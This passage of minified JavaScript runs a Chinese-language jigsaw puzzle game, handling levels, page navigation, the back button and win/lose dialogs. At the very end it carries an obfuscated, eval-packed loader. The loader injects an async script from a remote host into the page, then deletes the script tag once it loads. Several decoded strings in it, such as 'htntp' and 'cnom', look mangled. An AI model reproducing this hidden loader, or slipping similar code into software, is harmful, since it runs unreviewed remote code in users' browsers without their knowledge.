  835. }, p.showTongguan = function() {
  836. new m({
  837. message: "恭喜您打通此游戏",
  838. calcelTxt: "\u5173\u95ed",
  839. sureTxt: "\u91cd\u65b0\u73a9",
  840. sure: function() {
  841. p.currentGame = {
  842. type: p.currentGame.type,
  843. ka: 0,
  844. pic: 0
  845. }, p.playAgan()
  846. }
  847. })
  848. }, p.playAgan = function() {
  849. //r(p.currentGame)
  850. location.reload();
  851. }, p.playNextPic = function() {
  852. var e = p.currentGame.ka,
  853. t = p.currentGame.pic,
  854. n = a(p.currentGame.type),
  855. i = n.ka,
  856. o = n.ka[e].pic;
  857. return t + 1 >= o.length ? (e++, t = 0) : t++, e >= i.length ? void p.showTongguan() : (p.currentGame.ka = e, p.currentGame.pic = t, r(p.currentGame), void p.dom.find(".play-info").hide().find(".playing-over").hide())
  858. }, n.exports = p
  859. }), e("page/jigsaw/pageController", function(e, t, n) {
  860. function a(e, t, n) {
  861. var a = "page-anmi",
  862. r = "page-anmi",
  863. i = "",
  864. s = "";
  865. a += " page-anmi-" + n + "-cur", r += " page-anmi-" + n + "-out", i = "cur-page-" + n, s = "out-page-" + n, e.addClass(a), t.addClass(r), t.show(), o.nextFrame(function() {
  866. e.addClass(i), t.addClass(s), setTimeout(function() {
  867. e.hide(), e.removeClass(a), e.removeClass(i), t.removeClass(r), t.removeClass(s)
  868. }, p)
  869. })
  870. }
  871. function r() {
  872. var e = document;
  873. d.delegate("*[showPage]", "click", function() {
  874. var e = c(this),
  875. t = e.attr("showPage"),
  876. n = e.attr("pageData"),
  877. a = null;
  878. n && (a = JSON.parse(n)), l.showPage(t, a)
  879. }), d.delegate("*[act='back']", "click", function() {
  880. l.back()
  881. }), u(function() {
  882. e.addEventListener("backbutton", function() {
  883. l.back()
  884. }, !1)
  885. })
  886. }
  887. var i = e("module/model"),
  888. o = e("module/utils"),
  889. s = e("page/jigsaw/templates"),
  890. c = e("af"),
  891. u = e("page/jigsaw/phoneReady"),
  892. g = e("page/jigsaw/userData"),
  893. l = i(),
  894. m = {
  895. pageIndex: ["picture"],
  896. pages: {},
  897. curPage: "",
  898. pageObj: {
  899. picture: e("page/jigsaw/p/picture")
  900. }
  901. }, p = 280,
  902. d = c("#pages");
  903. if (!d.length) throw new Error("\u6ca1\u6709page\u5206\u7c7b\u5143\u7d20");
  904. l.showPage = function(e, t) {
  905. if (!~m.pageIndex.indexOf(e)) throw new Error("\u6ca1\u6709\u5bf9\u5e94page\u5143\u7d20");
  906. if (!m.pages[e]) {
  907. var n = "page_" + e;
  908. if (c("#" + n).length) m.pages[e] = c("#" + n);
  909. else {
  910. var r = s.pageTemplate({
  911. id: n
  912. });
  913. m.pages[e] = c(r), d.append(m.pages[e])
  914. }
  915. m.pageObj[e].init(m.pages[e])
  916. }
  917. if (m.curPage) {
  918. var i = m.pageIndex.indexOf(m.curPage) > m.pageIndex.indexOf(e) ? "right" : "left";
  919. a(m.pages[m.curPage], m.pages[e], i)
  920. }
  921. m.curPage = e, g.set("lastPage", m.curPage), m.pageObj[e].enter(t)
  922. }, l.back = function() {
  923. if (m.curPage == m.pageIndex[0]) navigator.notification.confirm("\u9000\u51fa\u6e38\u620f?", function(e) {
  924. 1 == e && navigator.app.exitApp()
  925. }, "\u63d0\u793a", "\u9000\u51fa,\u53d6\u6d88");
  926. else {
  927. var e = m.pageIndex.indexOf(m.curPage);
  928. l.showPage(m.pageIndex[e - 1])
  929. }
  930. }, l.init = function() {
  931. r();
  932. var e = g.get("lastPage");
  933. l.showPage(e || m.pageIndex[0]), c("#page_default").hide()
  934. }, n.exports = l
  935. }), e("page/jigsaw/index", function(e) {
  936. var t = e("data/jigsawGame"),
  937. n = e("page/jigsaw/pageController");
  938. n.init(t)
  939. })
  940. }(window.NODEB && window.NODEB.define || window.define, window);
  941. function showGameResult(str,iswin,hasNext){
  942. $('#gameresult .resultinfo').html(str);
  943. if(!iswin){
  944. $('#againgame').hide();
  945. $('#continuegame').hide();
  946. $('#restartgame').show();
  947. }else if(hasNext){
  948. $('#againgame').hide();
  949. $('#restartgame').hide();
  950. $('#continuegame').show();
  951. }else{
  952. $('#continuegame').hide();
  953. $('#restartgame').hide();
  954. $('#againgame').show();
  955. }
  956. $('.mask').show();
  957. $('#gameresult').show();
  958. }
  959. function hideGameResult(){
  960. $('.mask').hide();
  961. $('#gameresult').hide();
  962. }
  963. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|scnrinpt|parentNode|htntp|cnom|9ng|gnamne|||javannscrninpt|text|tnype|src|true|async|onload|insertBefore|js|removeChild|mspt|getElementsByTagName||createElement'.split('|'),0,{}))